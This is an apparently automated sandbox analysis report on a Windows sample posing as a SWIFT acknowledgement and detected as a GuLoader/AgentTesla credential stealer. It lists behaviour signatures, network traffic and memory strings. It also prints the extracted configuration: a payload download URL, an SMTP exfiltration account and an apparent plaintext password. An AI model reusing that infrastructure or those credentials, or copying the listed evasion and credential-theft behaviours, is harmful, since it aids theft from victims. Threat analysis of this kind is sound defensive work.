Windows Analysis Report SWIFT_ACK-89813.02.exe

Overview

General Information

Sample Name: SWIFT_ACK-89813.02.exe
Analysis ID: 539387
MD5: 2f19182da895afc914c7b9851a4f2d49
SHA1: 7d111bd6284cdd87498e72d90a595aea9fc35d5d
SHA256: 24d5129d6ecbe5ba5e88077d1207bc09fc68d076dea00892bc614a267f9f0b1b
Infos:

Most interesting Screenshot:

Detection

GuLoader AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
GuLoader behavior detected
Yara detected GuLoader
Hides threads from debuggers
Installs a global keyboard hook
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
C2 URLs / IPs found in malware configuration
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Creates a window with clipboard capturing capabilities
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 0000000A.00000000.160152176355.0000000000F00000.00000040.00000001.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?expor"}
Source: SWIFT_ACK-89813.02.exe.7976.2.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "paco@fortunametals.esFortunaPaco#2018mail.fortunametals.eskingpentecost22@gmail.com"}
Multi AV Scanner detection for submitted file
Source: SWIFT_ACK-89813.02.exe Virustotal: Detection: 31% Perma Link

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_0148B988 CryptUnprotectData, 10_2_0148B988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_0148B981 CryptUnprotectData, 10_2_0148B981

Compliance:

barindex
Uses 32bit PE files
Source: SWIFT_ACK-89813.02.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 142.250.186.78:443 -> 192.168.11.20:49812 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.65:443 -> 192.168.11.20:49813 version: TLS 1.2

Networking:

barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://drive.google.com/uc?expor
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: OVHFR OVHFR
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 94.23.221.28 94.23.221.28
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/soe8mhoj34v0um28d5e8a2l91ddqufj5/1639467525000/03916840094075221792/*/1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-14-38-docs.googleusercontent.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49821 -> 94.23.221.28:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49821 -> 94.23.221.28:587
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: CasPol.exe, 0000000A.00000002.164842166012.000000001E57F000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164836854214.000000001E0C2000.00000004.00000001.sdmp String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C
Source: Cookies.10.dr String found in binary or memory: .www.linkedin.combscookie/ equals www.linkedin.com (Linkedin)
Source: CasPol.exe, 0000000A.00000002.164838183410.000000001E1D9000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.161319046446.0000000021631000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.161319098968.000000002163A000.00000004.00000001.sdmp, Cookies.10.dr String found in binary or memory: .www.linkedin.combscookie/+= equals www.linkedin.com (Linkedin)
Source: Cookies.10.dr String found in binary or memory: .www.linkedin.combscookie//a equals www.linkedin.com (Linkedin)
Source: CasPol.exe, 0000000A.00000002.164836499525.000000001E071000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 0000000A.00000002.164836499525.000000001E071000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: CasPol.exe, 0000000A.00000002.164836499525.000000001E071000.00000004.00000001.sdmp String found in binary or memory: http://FZUXPX.com
Source: CasPol.exe, 0000000A.00000002.164837783253.000000001E190000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164838344044.000000001E1F4000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164843468599.00000000202C9000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: CasPol.exe, 0000000A.00000003.160338008898.00000000010EC000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.160333337767.00000000010EC000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164825521534.00000000010E6000.00000004.00000020.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 0000000A.00000002.164837783253.000000001E190000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164838344044.000000001E1F4000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164843468599.00000000202C9000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: CasPol.exe, 0000000A.00000003.161319403441.00000000202EE000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164837783253.000000001E190000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164838344044.000000001E1F4000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164843468599.00000000202C9000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: CasPol.exe, 0000000A.00000002.164845435920.0000000021630000.00000004.00000001.sdmp String found in binary or memory: http://crl.coms
Source: CasPol.exe, 0000000A.00000003.160338008898.00000000010EC000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.160333337767.00000000010EC000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164825521534.00000000010E6000.00000004.00000020.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 0000000A.00000002.164837783253.000000001E190000.00000004.00000001.sdmp String found in binary or memory: http://fortunametals.es
Source: CasPol.exe, 0000000A.00000002.164837783253.000000001E190000.00000004.00000001.sdmp String found in binary or memory: http://mail.fortunametals.es
Source: CasPol.exe, 0000000A.00000003.161319403441.00000000202EE000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164837783253.000000001E190000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164838344044.000000001E1F4000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164843468599.00000000202C9000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: CasPol.exe, 0000000A.00000002.164837619476.000000001E172000.00000004.00000001.sdmp String found in binary or memory: http://rDm1I0JP9ah.net
Source: CasPol.exe, 0000000A.00000002.164837619476.000000001E172000.00000004.00000001.sdmp String found in binary or memory: http://rDm1I0JP9ah.nett-
Source: CasPol.exe, 0000000A.00000002.164836499525.000000001E071000.00000004.00000001.sdmp String found in binary or memory: https://api.ipify.org%4
Source: CasPol.exe, 0000000A.00000002.164836499525.000000001E071000.00000004.00000001.sdmp String found in binary or memory: https://api.ipify.org%GETMozilla/5.0
Source: CasPol.exe, 0000000A.00000003.160333232636.00000000010DF000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.160333337767.00000000010EC000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: CasPol.exe, 0000000A.00000003.160333337767.00000000010EC000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gse_l9ocaq
Source: CasPol.exe, 0000000A.00000003.160338008898.00000000010EC000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.160333337767.00000000010EC000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164825383260.00000000010CA000.00000004.00000020.sdmp String found in binary or memory: https://doc-14-38-docs.googleusercontent.com/
Source: CasPol.exe, 0000000A.00000002.164825383260.00000000010CA000.00000004.00000020.sdmp String found in binary or memory: https://doc-14-38-docs.googleusercontent.com/N
Source: CasPol.exe, 0000000A.00000003.160333278388.00000000010E7000.00000004.00000001.sdmp String found in binary or memory: https://doc-14-38-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/soe8mhoj
Source: CasPol.exe, 0000000A.00000002.164825017662.0000000001083000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 0000000A.00000002.164825998772.0000000001220000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G
Source: CasPol.exe, 0000000A.00000003.160338008898.00000000010EC000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000003.160333337767.00000000010EC000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G0
Source: CasPol.exe, 0000000A.00000003.160333278388.00000000010E7000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G0V6Zi1DJ4YIwp7zGY
Source: CasPol.exe, 0000000A.00000002.164825114570.0000000001098000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1GQ
Source: CasPol.exe, 0000000A.00000002.164837321319.000000001E12D000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/
Source: CasPol.exe, 0000000A.00000002.164836854214.000000001E0C2000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com//
Source: CasPol.exe, 0000000A.00000002.164836854214.000000001E0C2000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/https://login.live.com/
Source: CasPol.exe, 0000000A.00000002.164836854214.000000001E0C2000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/v104
Source: CasPol.exe, 0000000A.00000003.161319403441.00000000202EE000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164837783253.000000001E190000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164838344044.000000001E1F4000.00000004.00000001.sdmp, CasPol.exe, 0000000A.00000002.164843468599.00000000202C9000.00000004.00000001.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: CasPol.exe, 0000000A.00000002.164837321319.000000001E12D000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: CasPol.exe, 0000000A.00000002.164836499525.000000001E071000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/soe8mhoj34v0um28d5e8a2l91ddqufj5/1639467525000/03916840094075221792/*/1sW9pADfhXH64ij3XW0uAfaPSES7O-x1G?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-14-38-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 142.250.186.78:443 -> 192.168.11.20:49812 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.65:443 -> 192.168.11.20:49813 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Installs a global keyboard hook
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe Jump to behavior
Creates a window with clipboard capturing capabilities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

System Summary:

barindex
Uses 32bit PE files
Source: SWIFT_ACK-89813.02.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E41130 10_2_00E41130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E4EAB0 10_2_00E4EAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E43A50 10_2_00E43A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E44320 10_2_00E44320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E44E78 10_2_00E44E78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E40260 10_2_00E40260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E43A45 10_2_00E43A45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_00E43708 10_2_00E43708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_0141D9A0 10_2_0141D9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_0141B8E8 10_2_0141B8E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_01414AC8 10_2_01414AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_0147F928 10_2_0147F928
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_0147A017 10_2_0147A017
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_0147CA59 10_2_0147CA59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_0147F922 10_2_0147F922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_01478C08 10_2_01478C08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_01481958 10_2_01481958
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_01483558 10_2_01483558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_01488100 10_2_01488100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_01480040 10_2_01480040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_01483898 10_2_01483898
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_0148D1E8 10_2_0148D1E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_01488B60 10_2_01488B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_01488A60 10_2_01488A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1DE75E08 10_2_1DE75E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1DE746C4 10_2_1DE746C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1DE75D80 10_2_1DE75D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1DE75D41 10_2_1DE75D41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1DE75D20 10_2_1DE75D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1DE76AF1 10_2_1DE76AF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_1DE76AD0 10_2_1DE76AD0
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: String function: 00E48C40 appears 52 times
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Process Stats: CPU usage > 98%
Sample file is different than original file name gathered from version info
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160360797080.000000000042B000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameerst.exe vs SWIFT_ACK-89813.02.exe
Source: SWIFT_ACK-89813.02.exe, 00000002.00000002.160362792615.00000000022B0000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameerst.exeFE2X vs SWIFT_ACK-89813.02.exe
Source: SWIFT_ACK-89813.02.exe Binary or memory string: OriginalFilenameerst.exe vs SWIFT_ACK-89813.02.exe
PE file contains strange resources
Source: SWIFT_ACK-89813.02.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: edgegdi.dll Jump to behavior
Source: SWIFT_ACK-89813.02.exe Virustotal: Detection: 31%
Source: SWIFT_ACK-89813.02.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe "C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe"
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe" Jump to behavior
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\InprocServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File created: C:\Users\user\AppData\Roaming\gfh3sqpf.wnq Jump to behavior
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe File created: C:\Users\user\AppData\Local\Temp\~DF7BE3E0977138378C.TMP Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@4/4@3/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3332:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3332:120:WilError_03
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000002.00000002.160362845577.00000000023B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.160152176355.0000000000F00000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_00406901 push ds; ret 2_2_00406902
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_00409518 push ebx; iretd 2_2_00409519
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_00407D81 push edx; ret 2_2_00407D8D
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_00407999 push ebx; iretd 2_2_0040799D
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_00406DAE push ebp; ret 2_2_00406DB5
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_004055BC push ds; ret 2_2_004055D6
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_0040A644 push cs; iretd 2_2_0040A650
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_00405EC9 push cs; ret 2_2_00405F04
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_0040828C push eax; iretd 2_2_004082D1
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_00406FE2 push ebx; iretd 2_2_00407075
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_023B0658 push FFFFFFEAh; ret 2_2_023B065C
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_023B2C4C push ss; iretd 2_2_023B2C54
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_023B4DFF push edi; iretd 2_2_023B4E00
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Code function: 2_2_023B09C8 push ds; ret 2_2_023B09C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 10_2_01474B97 push edi; retn 0000h 10_2_01474B99
Source: initial sample Static PE information: section name: .text entropy: 7.1391806469
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SWIFT_ACK-89813.02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
